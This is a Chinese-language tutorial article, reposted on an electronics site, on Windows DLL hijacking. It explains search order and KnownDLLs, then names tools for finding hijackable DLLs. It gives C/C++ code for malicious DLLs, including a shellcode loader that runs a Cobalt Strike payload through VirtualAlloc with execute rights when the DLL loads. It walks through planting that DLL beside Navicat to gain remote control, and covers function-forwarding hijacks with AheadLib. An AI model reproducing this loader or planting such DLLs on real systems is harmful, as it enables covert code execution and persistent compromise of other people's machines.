0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

DLL简介

哆啦安全 来源:哆啦安全 2023-05-22 15:51 次阅读

DLL 劫持

DLL 简介

在 Windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当我们执行某一个程序时,相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件,一个 DLL 文件也可能被不同的应用程序使用,这样的 DLL 文件被称为共享 DLL 文件。

DLL 加载顺序

如果程序需要加载一个相对路径的 dll 文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:

windows xp sp2 之前

Windows 查找 DLL 的目录以及对应的顺序:

进程对应的应用程序所在目录;

当前目录(Current Directory);

系统目录(通过 GetSystemDirectory 获取);

16 位系统目录;

Windows 目录(通过 GetWindowsDirectory 获取);

PATH 环境变量中的各个目录;

windows xp sp2 之后

Windows 查找 DLL 的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为 1

进程对应的应用程序所在目录(可理解为程序安装目录比如 C:ProgramFilesuTorrent)

系统目录(即 % windir% system32);

16 位系统目录(即 % windir% system);

Windows 目录(即 % windir%);

当前目录(运行的某个文件所在目录,比如 C:Documents and SettingsAdministratorDesktop est);

PATH 环境变量中的各个目录;

windows 7 以上版本

从 Windows7 之后,微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL 写进了一个注册表项中,该项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能从系统目录 SYSTEM32 目录下调用,其注册表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

1fec4ade-f6a8-11ed-90ce-dac502259ad0.png

自动化挖掘

批量寻找劫持

https://github.com/wietze/windows-dll-hijacking

PLAINTEXT

1
python generate_pmc_files.py

20375ff6-f6a8-11ed-90ce-dac502259ad0.png

单个查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

编译完成后,把 Prerequisites 文件夹里的内容拷贝至 ImpulsiveDLLHijack 项目里

20997a4c-f6a8-11ed-90ce-dac502259ad0.png

PLAINTEXT

1
ImpulsiveDLLHijack.exe -path xxx.exe

20d27b12-f6a8-11ed-90ce-dac502259ad0.png

这里使用navicat进行测试,可见运行的时候会加载C:UsersdyyAppDataLocalProgramsPythonPython38Scriptsoci.dll

211639ce-f6a8-11ed-90ce-dac502259ad0.png

使用 cs 生成恶意 dll,重命名为oci.dll后放置到该目录下

216571c4-f6a8-11ed-90ce-dac502259ad0.png

2195cc52-f6a8-11ed-90ce-dac502259ad0.png

手动挖掘

Process Monitor 查找可用 dll,设置如下图所示

21b2ab4c-f6a8-11ed-90ce-dac502259ad0.png

配置完可以保存导出配置,下次直接导入使用

21dc8db8-f6a8-11ed-90ce-dac502259ad0.png

使用GoogleUpdate.exe进行测试,运行程序 filter 加载所使用的 dll 文件

220e551e-f6a8-11ed-90ce-dac502259ad0.png

这里可以看出来,当GoogleUpdate.exe程序运行的时候,会调用当前目录下的goopdate.dll文件

编写一个基础的弹窗 dll

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include 
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加载到内存时运行
    case DLL_PROCESS_DETACH://DLL销毁时运行
    case DLL_THREAD_ATTACH://DLL线程加载时运行
    case DLL_THREAD_DETACH://DLL线程销毁时运行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

2239d086-f6a8-11ed-90ce-dac502259ad0.png

弹计算器

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

2260496e-f6a8-11ed-90ce-dac502259ad0.png

CS 上线

cs 生成 c 的 payload

22b3825a-f6a8-11ed-90ce-dac502259ad0.png

22d9e846-f6a8-11ed-90ce-dac502259ad0.png

生成的payload填入到下面相应的位置上

CPP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 头文件
#include "pch.h"
#include 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}

2329b3d0-f6a8-11ed-90ce-dac502259ad0.png

运行navicat程序就会上线

2354d240-f6a8-11ed-90ce-dac502259ad0.png

DLL 转发劫持

有时候当我们替换 dll 后,虽然可以执行命令,但是会产生报错

239cd3ce-f6a8-11ed-90ce-dac502259ad0.png

这时候我们可以使用AheadLib工具,使恶意的 DLL 将原有的函数转发到原 DLL 中并且释放恶意代码

打开工具导入 dll 文件,会生成相应的 cpp 文件

直接转发函数,我们只能控制 DllMain 即调用原 DLL 时触发的行为可控
即时调用函数,可以在处理加载 DLL 时,调用具体函数的时候行为可控,高度自定义触发点,也称用来 hook 某些函数,获取到参数

23d2f0bc-f6a8-11ed-90ce-dac502259ad0.png

23fc5baa-f6a8-11ed-90ce-dac502259ad0.png

241c0c66-f6a8-11ed-90ce-dac502259ad0.png

审核编辑:彭静
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • dll
    dll
    +关注

    关注

    0

    文章

    113

    浏览量

    45037
  • WINDOWS
    +关注

    关注

    3

    文章

    3441

    浏览量

    87148
  • 应用程序
    +关注

    关注

    37

    文章

    3137

    浏览量

    56422

原文标题:DLL 劫持

文章出处:【微信号:哆啦安全,微信公众号:哆啦安全】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    winspool dll下载

    winspool dll
    发表于 08-31 15:54 12次下载
    winspool <b class='flag-5'>dll</b>下载

    comres.dll下载 (comres.dll文件病毒)

    描述:comres.dll是系统的动态链接库文件。   文件路径: C:WINDOWSsystem32comres.dll   备份文件路径: C:WINDOWSsystem32dllcachecomres.dll   Vist
    发表于 11-28 14:12 113次下载
    comres.<b class='flag-5'>dll</b>下载 (comres.<b class='flag-5'>dll</b>文件病毒)

    dinput8.dll下载 (dinput8.dll文件修复)

     dinput8.dll文件丢失了怎么办,下载一个然后到到:C:WINDOWSsystem32 目录下就可以了。 dinput8 - dinput8.dll - DLL文件信息   
    发表于 11-28 14:17 804次下载
    dinput8.<b class='flag-5'>dll</b>下载 (dinput8.<b class='flag-5'>dll</b>文件修复)

    usp10.dll下载 (usp10.dll文件)

      usp10.dll是什么?usp10.dll是字符显示脚本应用程序接口相关文件。如果出现"没有找到usp10.dll"文件或者"找不到usp10.dll "的问题,就下载usp10
    发表于 11-28 15:04 238次下载
    usp10.<b class='flag-5'>dll</b>下载 (usp10.<b class='flag-5'>dll</b>文件)

    如何编写dll文件

    如何编写dll文件:可以用几种语言来实现,如delphi编写dll,pb编写dll文件,java 编写dll,vc 编写dll,mfc
    发表于 01-16 10:20 8665次阅读

    imm32.dll是什么

    imm32.dll是什么 :imm32 - imm32.dll - DLL文件信息   DLL 文件: imm32 或者 imm32.dll
    发表于 11-28 14:05 2358次阅读

    comres.dll是什么,comres.dll怎么修复

    comres.dll是什么 comres.dll是系统的动态链接库文件。   文件路径: C:WINDOWSsystem32comres.dll   备份文件路径: C:WINDOWSsystem32dllcachecomre
    发表于 11-28 14:13 1318次阅读

    dinput8.dll是什么

    dinput8.dll是什么 dinput8 - dinput8.dll - DLL文件信息   DLL 文件: dinput8 或者 dinput8.
    发表于 11-28 14:17 4685次阅读

    什么是DLL (动态连接库)

    什么是DLL (动态连接库) DLL(动态连接库),既然是动态,那么就是有静态连接库,我想如果这么说大家会更明白
    发表于 11-28 14:51 1.5w次阅读

    msvcirt.dll是什么

    msvcirt.dll是什么 msvcirt.dll是微软C语言程序运行库相关文件,用于例如打印。  属于: Windows   系统 DLL文件: 否  常见
    发表于 11-28 15:12 1614次阅读
    msvcirt.<b class='flag-5'>dll</b>是什么

    mfc71.dll是什么

    mfc71.dll是什么 mfc71.dll是Microsoft基础类( MFC )在创建Microsoft Visual Studio所使用的应用功能模块,此mfc71.dll并非病毒文件  进程位
    发表于 11-28 15:17 2257次阅读
    mfc71.<b class='flag-5'>dll</b>是什么

    DLL在_FPGA时钟设计中的应用

    DLL在_FPGA时钟设计中的应用,主要说明DLL的原理,在Xilinx FPGA中是怎么实现的。
    发表于 10-28 14:25 1次下载

    labview软定时dll文件下载

    labview软定时dll文件
    发表于 01-22 13:46 6次下载

    如何利用LabVIEW软件来创建DLL

    Runin UI Thread 表示在用户界面线程中调用,DLL 的执行期将等到用户界面线程执行DLL的导出函数调用时才开始;Reentrant 表示允许多个线程同时调用这个DLL
    发表于 12-02 15:02 5045次阅读

    Windows操作系统中DLL简介

    本文章是蛇矛实验室基于"火天网测网络安全测试平台"进行编写及验证,通过火天网测中的病毒测试模块,可以对文件进行详尽的评估, 从而对文件是否存在恶意行为进行判断。
    的头像 发表于 10-20 09:52 1809次阅读